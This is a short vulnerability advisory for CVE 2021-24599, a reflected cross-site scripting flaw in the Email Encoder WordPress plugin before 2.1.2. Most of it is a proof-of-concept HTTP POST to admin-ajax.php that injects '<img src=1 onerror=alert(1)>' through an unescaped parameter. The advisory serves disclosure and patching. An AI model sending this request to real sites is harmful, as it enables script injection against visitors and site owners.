Email Encoder < 2.1.2 – Reflected Cross Site Scripting | CVE 2021-24599

Description

The plugin has an endpoint that requires no authentication and will render a user supplied value in the HTML response without escaping or sanitizing the data.

Proof of Concept

The vulnerable function is nonce protected, the nonce can be found in the site's HTML source by searching for the javascript variable "eeb_ef" 

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Origin: http://127.0.0.1:8080
DNT: 1
Connection: keep-alive
Referer: http://127.0.0.1:8080/
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Upgrade-Insecure-Requests: 1

action=eeb_get_email_form_output&eebsec=<your nonce here>&eebMethod=escape&eebDisplay=<img src=1 onerror=alert(1)>